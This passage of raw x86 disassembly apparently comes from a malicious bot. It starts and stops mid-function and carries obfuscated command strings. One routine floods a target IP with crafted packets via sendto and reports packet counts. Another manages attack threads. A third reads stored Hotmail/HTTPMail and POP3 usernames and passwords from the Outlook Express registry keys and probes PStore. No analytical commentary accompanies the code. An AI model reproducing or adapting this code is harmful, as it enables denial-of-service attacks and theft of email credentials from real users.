		mov	[ebp+var_34], 1
		mov	[ebp+var_32], bx
		mov	[ebp+var_30], 80h
		mov	[ebp+var_2F], 6
		mov	[ebp+var_2E], bx
		jz	short loc_42312D
		mov	eax, [ebp+var_C]
		jmp	short loc_423138
; ---------------------------------------------------------------------------


loc_42312D:				; CODE XREF: sub_422E10+316j
		push	offset dword_457C40
		call	dword_456F7C	; inet_addr


loc_423138:				; CODE XREF: sub_422E10+31Bj
		cmp	[ebp+var_C4], ebx
		mov	[ebp+var_2C], eax
		mov	eax, [ebp+var_48]
		mov	[ebp+var_28], eax
		jnz	short loc_423159
		call	sub_429B9C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_42315F
; ---------------------------------------------------------------------------


loc_423159:				; CODE XREF: sub_422E10+337j
		push	[ebp+var_C4]


loc_42315F:				; CODE XREF: sub_422E10+347j
		call	dword_456F38	; ntohs
		mov	[ebp+var_1E], ax
		call	sub_429B9C
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_456F38	; ntohs
		push	12345678h
		mov	[ebp+var_20], ax
		call	dword_456F34	; ntohl
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_1C8]
		push	offset aUbqs_hzpkh1 ; "/uBQS.HZPkh1"
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4231B2
		mov	[ebp+var_18], ebx
		mov	[ebp+var_13], 2
		jmp	loc_423247
; ---------------------------------------------------------------------------


loc_4231B2:				; CODE XREF: sub_422E10+394j
		lea	eax, [ebp+var_1C8]
		push	offset a6x7zf1eztny_ ; "6x7zf1EztnY."
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4231D2
		mov	[ebp+var_18], ebx
		mov	[ebp+var_13], 10h
		jmp	short loc_423247
; ---------------------------------------------------------------------------


loc_4231D2:				; CODE XREF: sub_422E10+3B7j
		lea	eax, [ebp+var_1C8]
		push	offset aFyflu0ji3xh_ ; "FyFlU0jI3XH."
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42320B
		call	sub_429B9C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_18], edx
		call	sub_429B9C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		jmp	short loc_423241
; ---------------------------------------------------------------------------


loc_42320B:				; CODE XREF: sub_422E10+3D7j
		lea	eax, [ebp+var_1C8]
		push	offset a7otcu0fic6v0 ; "7otcU0FiC6V0"
		push	eax
		call	sub_42AEA0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_423247
		call	sub_429B9C
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_18], edx
		call	sub_429B9C
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, cl


loc_423241:				; CODE XREF: sub_422E10+3F9j
		add	dl, 2
		mov	[ebp+var_13], dl


loc_423247:				; CODE XREF: sub_422E10+39Dj
					; sub_422E10+3C0j ...
		push	200h
		mov	[ebp+var_14], 50h
		call	dword_456F38	; ntohs
		mov	[ebp+var_12], ax
		mov	eax, [ebp+var_2C]
		mov	[ebp+var_6C], eax
		mov	eax, [ebp+var_28]
		push	esi
		mov	[ebp+var_E], bx
		mov	[ebp+var_10], bx
		mov	[ebp+var_68], eax
		mov	[ebp+var_64], bl
		mov	[ebp+var_63], 6
		call	dword_456F38	; ntohs
		mov	[ebp+var_62], ax
		lea	eax, [ebp+var_6C]
		push	20h
		push	eax
		lea	eax, [ebp+var_A8]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_A8]
		push	34h
		push	eax
		call	sub_41E3E8
		mov	[ebp+var_10], ax
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		lea	eax, [ebp+var_A8]
		push	eax
		call	sub_429420
		lea	eax, [ebp+var_20]
		push	esi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_429420
		push	4
		lea	eax, [ebp+var_80]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 44h
		lea	eax, [ebp+var_A8]
		push	28h
		push	eax
		call	sub_41E3E8
		mov	[ebp+var_2E], ax
		lea	eax, [ebp+var_38]
		push	esi
		push	eax
		lea	eax, [ebp+var_A8]
		push	eax
		call	sub_429420
		add	esp, 14h
		lea	eax, [ebp+var_4C]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_A8]
		push	3Ch
		push	eax
		push	[ebp+var_8]
		call	dword_437294	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	loc_42340B
		push	[ebp+var_BC]
		inc	[ebp+var_4]
		call	dword_437190	; Sleep
		call	edi ; dword_437188
		sub	eax, [ebp+var_24]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+var_C0]
		jbe	loc_4230DD


loc_423357:				; CODE XREF: sub_422E10+2C4j
		push	[ebp+var_8]
		call	dword_456FF0	; closesocket
		mov	eax, [ebp+var_4]
		xor	edx, edx
		imul	eax, 3Ch
		mov	ecx, eax
		shr	eax, 0Ah
		div	[ebp+var_C0]
		shr	ecx, 14h
		push	ecx
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		push	offset aAsqfy_k1uah0 ; "AsQfy.K1uah0"
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		lea	eax, [ebp+var_2A5C]
		push	offset aSSWithSToIpS_S ; "%s %s	with %s	to IP: %s. Sent: %d packe"...
		push	eax
		call	sub_429B03
		add	esp, 24h
		cmp	[ebp+var_B0], ebx
		mov	edi, offset aS_5 ; "%s"
		jnz	short loc_4233D6
		cmp	[ebp+var_B4], ebx
		jnz	short loc_4233DE
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h


loc_4233D6:				; CODE XREF: sub_422E10+5A2j
		cmp	[ebp+var_B4], ebx
		jz	short loc_4233F8


loc_4233DE:				; CODE XREF: sub_422E10+5AAj
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 10h


loc_4233F8:				; CODE XREF: sub_422E10+5CCj
		push	[ebp+var_C8]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_42340B:				; CODE XREF: sub_422E10+518j
		call	dword_437170	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_248]
		push	[ebp+var_4]
		push	eax
		push	offset aBvygm_afzkh0 ; "BVYGm.aFzkh0"
		push	offset aSErrorSendingP ; "%s Error sending packets to IP: %s. Pac"...
		lea	eax, [ebp+var_2A5C]
		push	2710h
		push	eax
		call	sub_429BBE
		add	esp, 1Ch
		cmp	[ebp+var_B0], ebx
		mov	edi, offset aS_5 ; "%s"
		jnz	short loc_423469
		cmp	[ebp+var_B4], ebx
		jnz	short loc_423471
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 10h


loc_423469:				; CODE XREF: sub_422E10+635j
		cmp	[ebp+var_B4], ebx
		jz	short loc_42348B


loc_423471:				; CODE XREF: sub_422E10+63Dj
		lea	eax, [ebp+var_2A5C]
		push	eax
		lea	eax, [ebp+var_148]
		push	edi
		push	eax
		push	[ebp+arg_0]
		call	sub_41CDD4
		add	esp, 10h


loc_42348B:				; CODE XREF: sub_422E10+65Fj
		push	[ebp+var_8]
		call	dword_4372D8	; closesocket
		push	[ebp+var_C8]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread
sub_422E10	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234A7	proc near		; CODE XREF: sub_4020BA+DAp
					; sub_402459+120p ...

var_26F8	= byte ptr -26F8h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 26F8h
		call	sub_429B60
		lea	eax, [ebp+arg_8]
		push	edi
		push	eax
		lea	eax, [ebp+var_26F8]
		push	[ebp+arg_4]
		push	26F6h
		push	eax
		call	sub_42B8AA
		add	esp, 10h
		xor	edi, edi
		mov	eax, offset dword_46B010


loc_4234D7:				; CODE XREF: sub_4234A7+40j
		cmp	byte ptr [eax],	0
		jz	short loc_4234EB
		add	eax, 2724h
		inc	edi
		cmp	eax, offset dword_6607E4
		jl	short loc_4234D7
		jmp	short loc_423527
; ---------------------------------------------------------------------------


loc_4234EB:				; CODE XREF: sub_4234A7+33j
		push	esi
		mov	esi, edi
		imul	esi, 2724h
		lea	eax, [ebp+var_26F8]
		push	270Fh
		push	eax
		lea	eax, dword_46B010[esi]
		push	eax
		call	sub_429D10
		mov	eax, [ebp+arg_0]
		and	dword_46D724[esi], 0
		add	esp, 0Ch
		and	dword_46D728[esi], 0
		mov	dword_46D720[esi], eax
		pop	esi


loc_423527:				; CODE XREF: sub_4234A7+42j
		mov	eax, edi
		pop	edi
		leave
		retn
sub_4234A7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42352C	proc near		; CODE XREF: sub_40A9FE+D49p
					; sub_4235A4+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_42359E
		cmp	esi, 0CDh
		jge	short loc_42359E
		imul	esi, 2724h
		cmp	dword_46D72C[esi], ebx
		jz	short loc_423552
		inc	ebp


loc_423552:				; CODE XREF: sub_42352C+23j
		push	edi
		lea	edi, dword_46D728[esi]
		mov	dword_46D72C[esi], ebx
		mov	dword_46D720[esi], ebx
		mov	eax, [edi]
		mov	dword_46D724[esi], ebx
		cmp	eax, ebx
		jbe	short loc_423578
		push	eax
		call	sub_420105
		pop	ecx


loc_423578:				; CODE XREF: sub_42352C+43j
		mov	[edi], ebx
		lea	edi, dword_46D730[esi]
		mov	byte ptr dword_46B010[esi], bl
		push	dword ptr [edi]
		call	dword_456FF0	; closesocket
		push	ebx
		mov	[edi], ebx
		push	dword_46D72C[esi]
		call	dword_437054	; TerminateThread
		pop	edi


loc_42359E:				; CODE XREF: sub_42352C+Dj
					; sub_42352C+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42352C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4235A4	proc near		; CODE XREF: sub_40A9FE+CB5p
					; sub_4182BA+659p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_46B010


loc_4235B0:				; CODE XREF: sub_4235A4+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_4235C1
		push	edi
		call	sub_42352C
		test	eax, eax
		pop	ecx
		jz	short loc_4235C1
		inc	ebx


loc_4235C1:				; CODE XREF: sub_4235A4+Fj
					; sub_4235A4+1Aj
		add	esi, 2724h
		inc	edi
		cmp	esi, offset dword_6607E4
		jl	short loc_4235B0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_4235A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235D6	proc near		; CODE XREF: sub_423654+1Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_46D724


loc_4235EA:				; CODE XREF: sub_4235D6+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_42360C
		test	edi, edi
		jle	short loc_4235FE
		cmp	[esi], edi
		jz	short loc_4235FE
		cmp	ebx, edi
		jnz	short loc_42360C


loc_4235FE:				; CODE XREF: sub_4235D6+1Ej
					; sub_4235D6+22j
		push	ebx
		call	sub_42352C
		test	eax, eax
		pop	ecx
		jz	short loc_42360C
		inc	[ebp+var_4]


loc_42360C:				; CODE XREF: sub_4235D6+1Aj
					; sub_4235D6+26j ...
		add	esi, 2724h
		inc	ebx
		cmp	esi, offset dword_662EF8
		jl	short loc_4235EA
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4235D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_423623	proc near		; CODE XREF: sub_402459+20Fp
					; sub_402675+19Fp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 2724h
		mov	dword_46D72C[eax], ecx
		mov	dword_46D720[eax], ecx
		mov	dword_46D724[eax], ecx
		mov	dword_46D728[eax], ecx
		mov	dword_46D730[eax], ecx
		mov	byte ptr dword_46B010[eax], cl
		retn
sub_423623	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423654	proc near		; CODE XREF: sub_40A9FE+A74p
					; sub_40A9FE+218Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		xor	eax, eax
		cmp	[ebp+arg_14], eax
		jz	short loc_423667
		push	[ebp+arg_14]
		call	sub_42A100
		pop	ecx


loc_423667:				; CODE XREF: sub_423654+8j
		push	ebx
		push	esi
		push	edi
		push	eax
		push	[ebp+arg_18]
		call	sub_4235D6
		pop	ecx
		mov	[ebp+arg_14], eax
		test	eax, eax
		pop	ecx
		mov	esi, offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		jle	short loc_4236CB
		cmp	[ebp+arg_8], 0
		mov	ebx, offset aTfee90w_vdg1u8 ; "TFEE90W.vdG1u8Ajp1eidrT.d2k2X/no6gm/"
		mov	edi, offset aSSDS ; "%s	%s %d %s"
		jnz	short loc_4236AC
		cmp	[ebp+arg_C], 0
		jnz	short loc_4236B2
		push	ebx
		push	eax
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 1Ch


loc_4236AC:				; CODE XREF: sub_423654+3Bj
		cmp	[ebp+arg_C], 0
		jz	short loc_423714


loc_4236B2:				; CODE XREF: sub_423654+41j
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 1Ch
		jmp	short loc_423714
; ---------------------------------------------------------------------------


loc_4236CB:				; CODE XREF: sub_423654+2Bj
		xor	eax, eax
		mov	ebx, offset aIbtox1Hofe0hcx ; "IBtOx1/HOfe0Hcxmb/oUlVg00eWuQ.F61Hj/"
		cmp	[ebp+arg_8], eax
		mov	edi, offset aSSS_3 ; "%s (%s) %s"
		jnz	short loc_4236FA
		cmp	[ebp+arg_C], eax
		jnz	short loc_423700
		cmp	[ebp+arg_10], eax
		jz	short loc_423714
		push	ebx
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CE4A
		add	esp, 18h


loc_4236FA:				; CODE XREF: sub_423654+86j
		cmp	[ebp+arg_C], 0
		jz	short loc_423714


loc_423700:				; CODE XREF: sub_423654+8Bj
		push	ebx
		push	[ebp+arg_1C]
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41CDD4
		add	esp, 18h


loc_423714:				; CODE XREF: sub_423654+5Cj
					; sub_423654+75j ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_423654	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423719	proc near		; DATA XREF: sub_40A9FE+EABo

var_C8		= dword	ptr -0C8h
var_C4		= byte ptr -0C4h
var_44		= dword	ptr -44h
var_34		= dword	ptr -34h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0C8h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	ecx, [ebp+var_C8]
		mov	dword ptr [eax+0BCh], 1
		mov	eax, [ebp+var_10]
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		mov	[ebp+var_4], eax
		push	offset aSThreadsList ; "%s Threads List:"
		test	eax, eax
		lea	eax, [ebp+var_C4]
		mov	[ebp+arg_0], ecx
		push	eax
		push	ecx
		jnz	short loc_42376B
		call	sub_41CE4A
		jmp	short loc_423770
; ---------------------------------------------------------------------------


loc_42376B:				; CODE XREF: sub_423719+49j
		call	sub_41CDD4


loc_423770:				; CODE XREF: sub_423719+50j
		add	esp, 10h
		xor	ebx, ebx
		mov	edi, offset dword_46B010
		mov	esi, offset aD_S ; "%d.	%s"


loc_42377F:				; CODE XREF: sub_423719+A8j
		cmp	byte ptr [edi],	0
		jz	short loc_4237B4
		xor	eax, eax
		cmp	[ebp+var_34], eax
		jnz	short loc_423793
		cmp	[edi+2714h], eax
		jnz	short loc_4237B4


loc_423793:				; CODE XREF: sub_423719+70j
		cmp	[ebp+var_4], eax
		push	edi
		push	ebx
		lea	eax, [ebp+var_C4]
		push	esi
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_4237AC
		call	sub_41CE4A
		jmp	short loc_4237B1
; ---------------------------------------------------------------------------


loc_4237AC:				; CODE XREF: sub_423719+8Aj
		call	sub_41CDD4


loc_4237B1:				; CODE XREF: sub_423719+91j
		add	esp, 14h


loc_4237B4:				; CODE XREF: sub_423719+69j
					; sub_423719+78j
		add	edi, 2724h
		inc	ebx
		cmp	edi, offset dword_6607E4
		jl	short loc_42377F
		cmp	[ebp+var_4], 0
		pop	edi
		pop	esi
		pop	ebx
		lea	eax, [ebp+var_C4]
		push	offset aO_sxv_ze9bk1go ; "O.sxv.ze9bK1GOISY.dO.Vn1"
		push	offset aSEndOfList_ ; "%s End of list."
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_4237E7
		call	sub_41CE4A
		jmp	short loc_4237EC
; ---------------------------------------------------------------------------


loc_4237E7:				; CODE XREF: sub_423719+C5j
		call	sub_41CDD4


loc_4237EC:				; CODE XREF: sub_423719+CCj
		add	esp, 10h
		push	[ebp+var_44]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
sub_423719	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423800	proc near		; CODE XREF: sub_40204B+5p
					; sub_4020BA+27p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_46D720


loc_423807:				; CODE XREF: sub_423800+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_423810
		inc	eax


loc_423810:				; CODE XREF: sub_423800+Dj
		add	ecx, 2724h
		cmp	ecx, offset dword_662EF4
		jl	short loc_423807
		retn
sub_423800	endp


; =============== S U B	R O U T	I N E =======================================



sub_42381F	proc near		; CODE XREF: sub_4033A3+Cp
					; .text:0040A22Ep ...

arg_0		= dword	ptr  4

		xor	eax, eax
		xor	edx, edx
		mov	ecx, offset dword_46D720
		push	esi


loc_423829:				; CODE XREF: sub_42381F+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_423842
		add	ecx, 2724h
		inc	edx
		cmp	ecx, offset dword_662EF4
		jl	short loc_423829
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_423842:				; CODE XREF: sub_42381F+10j
		mov	eax, edx
		pop	esi
		retn
sub_42381F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423846	proc near		; DATA XREF: sub_40A9FE+1265o

var_27D4	= byte ptr -27D4h
var_C4		= dword	ptr -0C4h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 27D4h
		call	sub_429B60
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	31h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C4]
		xor	ebx, ebx
		rep movsd
		cmp	[ebp+var_3C], ebx
		mov	edi, [ebp+var_C4]
		mov	dword ptr [eax+0BCh], 1
		jz	short loc_423894
		push	2710h
		lea	eax, [ebp+var_27D4]
		push	[ebp+var_3C]
		push	eax
		call	sub_429D10
		add	esp, 0Ch


loc_423894:				; CODE XREF: sub_423846+35j
		cmp	dword_457034, ebx
		mov	esi, offset a6atss0dycwf_6n ; "6atSs0dyCWF.6N5aw.affEY1"
		jnz	short loc_4238A8
		call	sub_423919
		jmp	short loc_4238BE
; ---------------------------------------------------------------------------


loc_4238A8:				; CODE XREF: sub_423846+59j
		push	esi
		lea	eax, [ebp+var_C0]
		push	offset aSAdvapi_dllNot ; "%s Advapi.dll	not loaded"
		push	eax
		push	edi
		call	sub_41CE4A
		add	esp, 10h


loc_4238BE:				; CODE XREF: sub_423846+60j
		cmp	dword_4570A4, ebx
		jnz	short loc_4238F0
		push	[ebp+var_14]
		cmp	[ebp+var_3C], ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		jz	short loc_4238ED
		lea	eax, [ebp+var_27D4]
		push	eax


loc_4238DB:				; CODE XREF: sub_423846+A8j
		lea	eax, [ebp+var_C0]
		push	edi
		push	eax
		call	sub_423C7A
		add	esp, 18h
		jmp	short loc_423906
; ---------------------------------------------------------------------------


loc_4238ED:				; CODE XREF: sub_423846+8Cj
		push	ebx
		jmp	short loc_4238DB
; ---------------------------------------------------------------------------


loc_4238F0:				; CODE XREF: sub_423846+7Ej
		push	esi
		lea	eax, [ebp+var_C0]
		push	offset aSPstore_dllNot ; "%s PStore.dll	not loaded"
		push	eax
		push	edi
		call	sub_41CE4A
		add	esp, 10h


loc_423906:				; CODE XREF: sub_423846+A5j
		push	[ebp+var_40]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_423846	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423919	proc near		; CODE XREF: sub_423846+5Bp

var_2EC		= byte ptr -2ECh
var_224		= byte ptr -224h
var_15C		= byte ptr -15Ch
var_C4		= byte ptr -0C4h
var_2C		= byte ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 2ECh
		push	ebx
		push	edi
		xor	ebx, ebx
		push	3A98h
		push	ebx
		push	offset dword_66FBF0
		call	sub_429760
		mov	edi, dword_4370B4
		add	esp, 0Ch
		lea	eax, [ebp+var_224]
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Internet	Account	Man"...
		push	eax
		call	edi ; dword_4370B4
		lea	eax, [ebp+var_24]
		push	eax
		push	0F003Fh
		lea	eax, [ebp+var_224]
		push	ebx
		push	eax
		push	80000001h
		call	dword_456FC0	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_423C76
		push	esi
		mov	[ebp+var_18], ebx
		mov	[ebp+var_10], 3
		mov	esi, 96h


loc_423981:				; CODE XREF: sub_423919+356j
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_1C], 0C8h
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		push	[ebp+var_18]
		push	[ebp+var_24]
		call	dword_456E68	; RegEnumKeyExA
		mov	[ebp+var_20], eax
		lea	eax, [ebp+var_224]
		push	offset aSoftwareMicr_1 ; "Software\\Microsoft\\Internet	Account	Man"...
		push	eax
		call	edi ; dword_4370B4
		lea	eax, [ebp+var_224]
		push	offset asc_44DABC ; "\\"
		push	eax
		call	dword_437090	; lstrcatA
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		call	dword_437090	; lstrcatA
		lea	eax, [ebp+var_14]
		push	eax
		push	0F003Fh
		lea	eax, [ebp+var_224]
		push	ebx
		push	eax
		push	80000001h
		call	dword_456FC0	; RegOpenKeyExA
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aHttpmailUserna ; "HTTPMail UserName"
		push	[ebp+var_14]
		call	dword_456DF0	; RegQueryValueExA
		test	eax, eax
		jnz	loc_423B05
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, dword_673688
		imul	eax, 12Ch
		add	eax, offset dword_66FBF0
		push	eax
		call	edi ; dword_4370B4
		push	esi
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_429760
		mov	eax, dword_673688
		add	esp, 0Ch
		imul	eax, 12Ch
		add	eax, offset dword_66FCB8
		push	offset aHotmail	; "Hotmail"
		push	eax
		call	edi ; dword_4370B4
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aHttpmailPass2 ;	"HTTPMail Pass2"
		push	[ebp+var_14]
		call	dword_456DF0	; RegQueryValueExA
		test	eax, eax
		jnz	loc_423C4E
		push	2
		mov	[ebp+var_C], ebx
		pop	eax
		cmp	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		jbe	loc_423C39


loc_423AA0:				; CODE XREF: sub_423919+1E5j
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		push	eax
		call	dword_437268	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_423AD3
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		cmp	al, 28h
		jz	short loc_423AD3
		cmp	al, 29h
		jz	short loc_423AD3
		cmp	al, 2Eh
		jz	short loc_423AD3
		cmp	al, 20h
		jz	short loc_423AD3
		cmp	al, 2Dh
		jnz	short loc_423AF5


loc_423AD3:				; CODE XREF: sub_423919+19Aj
					; sub_423919+1A8j ...
		mov	eax, dword_673688
		mov	ecx, [ebp+var_4]
		imul	eax, 12Ch
		mov	edx, [ebp+var_C]
		mov	cl, [ebp+ecx+var_C4]
		inc	[ebp+var_C]
		mov	byte_66FC54[eax+edx], cl


loc_423AF5:				; CODE XREF: sub_423919+1B8j
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jb	short loc_423AA0
		jmp	loc_423C39
; ---------------------------------------------------------------------------


loc_423B05:				; CODE XREF: sub_423919+103j
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aPop3UserName ; "POP3 User Name"
		push	[ebp+var_14]
		call	dword_456DF0	; RegQueryValueExA
		test	eax, eax
		jnz	loc_423C65
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, dword_673688
		imul	eax, 12Ch
		add	eax, offset dword_66FBF0
		push	eax
		call	edi ; dword_4370B4
		push	esi
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aPop3Server ; "POP3 Server"
		push	[ebp+var_14]
		call	dword_456DF0	; RegQueryValueExA
		lea	eax, [ebp+var_15C]
		push	eax
		mov	eax, dword_673688
		imul	eax, 12Ch
		add	eax, offset dword_66FCB8
		push	eax
		call	edi ; dword_4370B4
		push	esi
		lea	eax, [ebp+var_15C]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		mov	[ebp+var_8], esi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		push	offset aPop3Pass2 ; "POP3 Pass2"
		push	[ebp+var_14]
		call	dword_456DF0	; RegQueryValueExA
		test	eax, eax
		jnz	loc_423C4E
		push	2
		mov	[ebp+var_C], ebx
		pop	eax
		cmp	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		jbe	short loc_423C39


loc_423BD9:				; CODE XREF: sub_423919+31Ej
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		push	eax
		call	dword_437268	; IsCharAlphaNumericA
		test	eax, eax
		jnz	short loc_423C0C
		mov	eax, [ebp+var_4]
		mov	al, [ebp+eax+var_C4]
		cmp	al, 28h
